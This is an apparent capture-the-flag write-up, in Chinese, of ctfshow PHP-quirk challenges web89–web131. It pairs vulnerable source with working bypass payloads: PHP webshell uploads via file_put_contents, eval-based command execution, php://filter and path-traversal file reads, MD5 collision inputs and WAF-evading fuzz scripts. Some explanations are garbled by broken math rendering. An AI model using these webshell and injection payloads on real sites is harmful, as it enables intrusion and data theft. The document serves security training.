ctfshow-php特性-超详解(干货)

PHP特性

web89

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
    
    
        die("no no no!");
    }
    if(intval($num)){
    
    
        echo $flag;
    }
}
?>

intval函数(获取变量的整数型):如果他的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0

preg_match() 函数

利用数组绕过正则匹配,使其返回值发生错误而为false

payload:?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==="4476"){
    
    
        die("no no no!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

intval($num,0):

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

payload:?num=010574这里我以0开始,意思就是后面的数字将被以8进制的形式读取

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    
    
    if(preg_match('/^php$/i', $a)){
    
    
        echo 'hacker';
    }
    else{
    
    
        echo $flag;
    }
}
else{
    
    
    echo 'nonononono';
}

考察点:正则表达式修饰符
拓展

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

满足第一个匹配:?cmd=%0aphp,同时不满足第二匹配(固定字符串"php")

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(intval($num,0)==4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

payload:?num=0x117c

这里我采用的是16进制绕过

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    
    
        die("no no no!");
    }
    if(intval($num,0)==4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

这里直接八进制绕过?num=010574

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==="4476"){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    
    
        die("no no no!");
    }
    if(!strpos($num, "0")){
    
     // 在这个地方需要返回的值不能为0,也就是说0不能在第一位
        die("no no no!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }
}

所以?num=4476.0

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
    
    // 点匹配没了
        die("no no no!!");
    }
    if(!strpos($num, "0")){
    
    
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }
}

利用八进制开头加号代替空格绕过?num=+010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    
    
    if($_GET['u']=='flag.php'){
    
    
        die("no no no");
    }else{
    
    
        highlight_file($_GET['u']);
    }
}

paylaod:

./flag.php
/var/www/html/flag.php
php://filter/resource=flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    
    
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5弱类型比较可以直接数组绕过,其结果都会转换为null

a[]=1&b[]=2

如果进行了string强制转类型后,则不再接受数组

弱碰撞:

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
    
    
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

强碰撞:

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
    
    
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

php三元运算符与if的详解

php函数的传值与传址(引用)详解

举例分析:

$_GET?$_GET=&$_POST:'flag';
===============>
if(isset($_GET)){
    
    
	$_GET=&$_POST;
}else{
    
    
	'flag';
}

下面的也是同理

直到最后一句

$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
==============>
if($_GET['HTTP_FLAG']=='flag'){
    
    
	$flag;
}else{
    
    
	__FILE__;
}

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    
     
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    
    
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

array_push() 函数:向数组尾部插入一个或多个元素

rand() 函数随机生成数组rand(min,max)

file_put_contents() 函数:写入函数

payload:

?n=5.php
content=<?php @eval($_POST['hack']);?>
content=<?php system('cat flag36d.php');?>

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    
    
    if(!preg_match("/\;/", $v2)){
    
    
        if(preg_match("/\;/", $v3)){
    
    
            eval("$v2('ctfshow')$v3");
        }
    }    
}
?>

php中OR与|| AND与&&的区别总结

因为赋值的优先级(=)高于and所以 v 0 的 值 可 以 由 v0的值可以由 v0v1来控制,所以我们需要给其赋值为1也就是true

因为flag在类ctfshow中,所以可以直接命令执行

?v1=1&v2=var_dump($ctfshow)&v3=;
v1=1&v2=system("cat ctfshow.php")/*&v3=*/;

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
    
    
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
    
    
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

这里牵扯到的是一个反射类的问题

php反射类 ReflectionClass使用例子

PHP的反射类ReflectionClass、ReflectionMethod使用实例

反射在 PHP 中的应用

看了半天,大概知道了

反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句

其属性为类的一个名称,这道题目里面类的名称为ctfshow

payload:?v1=1&v2=echo new ReflectionClass&v3=;

举个例子

<?php
class hacker{
    
    
	public $hackername = "yn8rt";
	const  yn8rt='nb666';
	public  function show(){
    
    
	echo $this->name,'<br>';
	}
}
//有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量

//通过反射获取类的信息

$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>

返回值

array(1) {
    
    
  ["yn8rt"]=>
  string(5) "nb666"
}
array(1) {
    
    
  [0]=>
  &object(ReflectionProperty)#2 (2) {
    
    
    ["name"]=>
    string(10) "hackername"
    ["class"]=>
    string(6) "hacker"
  }
}
array(1) {
    
    
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    
    
    ["name"]=>
    string(4) "show"
    ["class"]=>
    string(6) "hacker"
  }
}

如果没有指定方法的话,就会像题目中默认输出很多东西:

1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    
    
    $s = substr($v2,2);// 这里的意思是从第二位开始截取
    $str = call_user_func($v1,$s);// 回调函数,第一个参数为调用的函数,其余的为调用参数的值
    echo $str;
    file_put_contents($v3,$str);
}
else{
    
    
    die('hacker');
}


?>

PHP substr() 函数

PHP hex2bin() 函数:参数只有一个,将传入的参数(16进制转换为ascii字符)

首先还是赋值与and的优先级问题,所以就要保证v2传入的值为经过is_numeric函数判断后返回的结果为true,然后就是利用回调函数来实现读取操作

所以就可以这么利用啊:

post:v1=hex2bin

get:?v2=0x3c3f706870206576616c28245f504f53545b27796e275d293b3f3e&v3=yn.php

上面的16进制解码ascii:<?php eval($_POST['yn']);?>

但是有个什么问题:

var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false

但是本题的环境就是php7啊

方法二:

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:v1=hex2bin

然后访问1.php去触发就可以了

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    
    
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
    
    
        file_put_contents($v3,$str);
    }
    else{
    
    
        die('Sorry');
    }
}
else{
    
    
    die('hacker');
}

?>

这个地方的的匹配似乎毫无意义,只是为了让写入的文件中没有php,但是根据上一个题目的payload来看,也不需要php标签啊

web104、web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
    
    
        echo $flag;
    }
}

没有强制类型转换的话,sha1是无法识别数组的,直接就是数组绕过了

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    
    
    if($key==='error'){
    
    
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    
    
    if($value==='flag'){
    
    
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    
    
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

变量覆盖

首先让 k e y = s u c e s 那 么 key=suces那么 key=suces k e y = key= key=suces,然后 v a l u e = f l a g 那 么 value=flag那么 value=flag v a l u e = value= value=flag,到这里就覆盖成功了,也就是 s u c e s = suces= suces=flag

这里利用的是die( e r r o r ) 来 实 现 的 输 出 , 所 以 让 error)来实现的输出,所以让 error)key=error那么KaTeX parse error: Can't use function '$' in math mode at position 5: key=$̲error,$value=su…value= s u c e s , 也 就 是 suces,也就是 suceserror= s u c e s = suces= suces=flag,同时又因为不满足if(!( P O S T [ ′ f l a g ′ ] = = _POST['flag']== POST[flag]==flag)),所以die被执行,得到flag

payload?suces=flag,post:error=suces

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    
    
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
    
    
           echo $flag;
       }
}
?>

PHP parse_str() 函数

第二个参数:可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

利用md5碰撞:使得v1中的flag=0,然后v3=0(md5(QNKCDZO)=0e…)

payload:vl=flag=0,v3=QNKCDZO)

md5弱碰撞:

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    
    
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    
    
    echo $flag;
}

?>

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

php中ereg函数的截断漏洞

strrev函数:反转字符串

0x36d=877,因为会被反转所以需要778来提前反转,同时需要截断处理,所以c=a%00778经过反转后取整就是877

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
    
    
            eval("echo new $v1($v2());");
    }
}
?>

因为只要有字母就行,所以利用PHP已有的类闭合一下(预防意外的报错导致程序无法正常执行),然后构造命令执行即可。

?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a

反射 | PDO

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
    
    
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
    
    
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?>

FilesystemIterator获取目录文件FilesystemIterator

getcwd()函数取得当前工作目录getcwd()函数

构造playload:

v1=FilesystemIterator&v2=getcwd

得到当前目录的第一个文件名字:fl36dga.txt,然后访问即可,缺陷:只能获取第一个文件名字

本地试验例子

<?php
 // $iterator = new FilesystemIterator(getcwd());
 // //计算迭代器中元素的个数
 // printf("There were %d Files", iterator_count($iterator));
 
 //php FilesystemIterator 使用 seek 改变指针位置
 $iterator = new FilesystemIterator("../ctfshow");
 //php FilesystemIterator 使用 seek 改变指针位置
 $iterator->seek(3);
 
 //使用valid()验证是否存在
 if ($iterator->valid()) {
    
    
 
     //获取当前指针的第一个文件名
     echo $iterator->getFilename();
 } else {
    
    
     echo 'No file at position 3';
 }
 
 //要遍历当前指针以后的所有文件必须使用while valid()和next()方法,如果使用foreach将会遍历出所有的数据
 while($iterator->valid()) {
    
    
     var_dump($iterator->getFilename()) . "\n";
     //必须要用next方法改变指针位置
     $iterator->next();
 }
 
 //php FilesystemIterator 使用 valid next 方法遍历元素
 // $iterator = new FilesystemIterator("../ctfshow");
 
 // while($iterator->valid()) {
    
    
 //     var_dump($iterator->getFilename()) . "\n";
 //     //必须要用next方法改变指针位置
 //     $iterator->next();
 // }
?>

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    
    
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
    
    
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
    
    
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
    
    //规定v1的值
            getFlag($v1,$v2);
    }
}

?>

利用全局变量来实现输出

v1=ctfshow

v2=GLOBALS

KaTeX parse error: Expected 'EOF', got '&' at position 9: ctfshow=&̲GLOBALS此时 c t f s h o w 的 指 向 就 是 全 局 变 量 的 指 向 , 于 其 具 有 了 相 同 的 作 用 , 那 么 此 时 v a r d u m p ( ctfshow的指向就是全局变量的指向,于其具有了相同的作用,那么此时var_dump( ctfshowvardump(ctfshow)就是var_dump($GLOBALS)

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    
    
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
    
    
        die("hacker!");
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
}

当看到input和rot13和base64的时候就能想到利用的是伪协议,并且考点是多种读取方式

可以直接用不带任何过滤器的filter伪协议
file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
↑这是读取压缩流
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
↑这是两位一反转的读取方式

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    
    
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    
    
        die('hacker!');
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
} 

利用上一道题目的payload可以继续打

file=compress.zlib://flag.php

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

至于为什么需要多次重复来绕过,可能是is_filr函数的特色吧

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    
    
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    
    
        die('hacker!');
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    
    
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    
    
    if($num=='36'){
    
    
        echo $flag;
    }else{
    
    
        echo "hacker!!";
    }
}else{
    
    
    echo "hacker!!!";
} hacker!!!

需要满足什么:num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36

fuzz脚本:

<?php
for($i = 0; $i<129; $i++){
    
    
	$num=chr($i).'36';
	if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
    
    
		echo urlencode(chr($i))."\n";
	}
}
?>

得到:%0C %2B(+) - . 0 1 2 3 4 5 6 7 8 9

ASCII对照表

payload:%0C36

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM

payload:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    
    
         eval("$c".";");
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

$argv:传递给脚本的参数数组

详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别(转)

$_SERVER['argv']1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]

    $argv,$argc在web模式下不适用

我们是在网页模式下的,注意重点:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句

举个例子

?$fl0g=flag_give_me
$a[0]=$_SERVER['argv'][0]=$_SERVER[QUERY_STRING]=>$fl0g=flag_give_me

payload:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) # POST
?$fl0g=flag_give_me; #GET
CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])    #POST
?1=flag.php		#GET

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
} 
assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加
?$fl0g=flag_give_me
CTF_SHOW=6&CTF[SHOW.COM=6&fun=assert($a[0])

web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    
    
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
    
    
        return true;
    }else{
    
    
        return false;
    }
}

if(waf($url)){
    
    
    die("嗯哼?");
}else{
    
    
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    
    
    echo $flag;
} 

extract(提取、抽取)函数:通常情况结合数组使用

?ctf_show=ilove36d但是下划线被过滤了

自己写个fuzz脚本跑一下:

<?php
function waf($num){
    
    
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
    
    
        return false;
    }else{
    
    
        return true;
    }
}
for($i = 0; $i<129; $i++){
    
    
	$num=chr($i);
	if(waf($num)){
    
    
		echo "未编码:".$num."   经过编码:".urlencode(chr($i))."\n";
	}
}
?>

但是这里我们的目的是利用空格、点、左中括号、+来被自动转换为下划线,经过fuzz得到空格,但是不知道为什么我空格经过URL编码确是+,但是%20确实符合该题目

?ctf%20show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    
    
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    
    
    echo "嗯哼?";
}
function check($str){
    
    
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL 

gettext()拓展函数的用法

_()gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

<?php
echo gettext(666);   //输出 666
echo "\n";
echo _("666");		//输出 666
?>

get_defined_vars()函数:返回由所有已定义变量所组成的数组 ,very顾名思义

因为$flag属于是被定义变量的范畴,所以利用?f1=_&f2=get_defined_vars

var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));
var_dump(get_defined_vars);

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    
    
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
    
    
        echo readfile($f);
    }
}

readfile()函数?f=/ctfshow/../../../../../../../var/www/html/flag.php直接读就完事了

web130、web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
    
    
        die('bye!!');
    }

    echo $flag;

}

php特性:

preg_match不识别数组,否则返回false,匹配一次返回1,没有返回0

if(0 === flase)返回值为false0不是强等于false的

stripos()函数对数组不识别,遇到数组会返回false

方法一

payload:?f=ctfshow[]

方法二:

采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数

?f[]=666

方法三:

p神PHP利用PCRE回溯次数限制绕过某些安全限制

